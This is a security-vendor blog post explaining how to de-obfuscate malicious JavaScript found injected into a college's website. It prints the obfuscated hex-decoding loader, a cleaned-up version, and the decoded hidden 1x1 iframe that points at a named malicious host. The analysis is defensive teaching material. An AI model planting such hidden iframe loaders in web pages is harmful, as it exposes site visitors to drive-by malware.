By: Michael Sutton

Stepping Through JavaScript Obfuscation

Obfuscation

I've been noticing an increasing number of attacks whereby malicious IFRAMEs are injected into the pages of otherwise reputable sites. While such activity is often very obvious as you can spot an IFRAME right before the closing tag, attackers with a little more skill generally attempt to obfuscate the injected code. Depending upon the level of creativity, JavaScript obfuscation may barely be noticeable as code at all and researchers often shy away from de-obfuscating it. The reality is that JavaScript runs within your browser, so you can always figure out what it's doing, it just takes a little extra effort. Now you can generally streamline the process by employing tools such as a JavaScript debugger or by inspecting web traffic, but I'd like to take the old fashioned approach of understanding the code to illustrate that obfuscation is generally not as challenging as it may first appear.

When reviewing our weblogs recently I came across a perfect example of the aforementioned scenario. The Virginia Jyothi Institute of Management website appears to be a perfectly reputable site...except for an interesting snippet of JavaScript at the bottom of the page.

Obfuscated JavaScript:


function C7D36720260A79BEECF3B8D6D(C78D9ED077610F5E11)
{function E69961B4A47426004A21A064DA3(){return 16;}
return(parseInt(C78D9ED077610F5E11,E69961B4A47426004A21A064DA3()));}
function DB47FCE800845F2179C(D89D6EB726D3262DEA5){function
CF7A2398A7A3B02EEF51A624DC28F2(){return 2;}var B0A173316D010072="";
for(D6BE4D56711AC9FE592=0;D6BE4D56711AC9FE592

Ouch! That's ugly. At first glance it looks like a jumble of random numbers with a sprinkling of English. However, upon further inspection you can clearly see JavaScript functions (e.g. String.fromCharCode()) and basic syntax, such as a for loop. In reality, it's not really ugly at all, but like a freshman dorm room, it does need a little cleanup. Let's do three things:

1.) Replace function/variable names - You'll notice that the seemingly random numbers are strings that show up more than once. That's because they're not random at all, they're just function and variable names that aren't particularly easy on the eyes. Start by replacing these painful names with simple letters.

2.) Add white space - obfuscation generally involves removing white space and cramming everything together, so add it back. Follow they JavaScript syntax but expand it to a common format that you're comfortable with.

3.) Rearrange - So long as you don't change the logic flow, move things around, once again, to an arrangement that is more comfortable.

Once we make these changes, we have much more manageable code. As they say, let's put some lipstick on that pig...

The same function cleaned up:


D("3C696672616D65207372633D22687474703A2F2F6D6F6E6579
323030382E6F72672F746D702F222077696474683D31206865696
768743D31207374796C653D227669736962696C6974793A686964
64656E3B706F736974696F6E3A6162736F6C757465223E3C2F696
672616D653E");

function A(B)
{
  function C()
  {
    return 16;
  }
  return(parseInt(B,C()));
}

function D(F)
{
  function G()
  {
    return 2;
  }
  var H="";
  for(E=0;E
  {
    H+=(String.fromCharCode(A(F.substr(E,G()))));
  }
  document.write(H);
}

Wow, what a huge improvement. Now that's something that I can deal with. It still may seem a bit verbose for what it's trying to accomplish, but let's walk through it one step at a time.

  1. We start of by sending a large string of data to D().
  2. Within D(), let's look at the for loop. It's iterating over the data two characters at a time (G() returns 2).
  3. Each pair of characters are sent to A() where they are converted from base 16, which tells us that they're hexadecimal values.
  4. Once converted, the integers are then fed to String.fromCharCode(), which is essentially an automated ASCII table, converting decimal values to letters.
  5. The entire string is iterated over until each hexadecimal pair is converted to a letter.

When done, the converted string is revealed:

<iframe src="http://money2008.org/tmp/" style="visibility: hidden; position: absolute;" height="1" width="1"></iframe>

Now there are many easier ways to come to the same conclusion. You could walk through the JavasScript using a debugger or in this case, once you realized that the seemingly random string was likely a hexadecimal encoding, just run it through an ASCII to Hex converter. However, hopefully this walk through has shed light on the fact that JavaScript obfuscation, while one more step in the process, isn't generally much of a hurdle to overcome.

- michael

Learn more about Zscaler.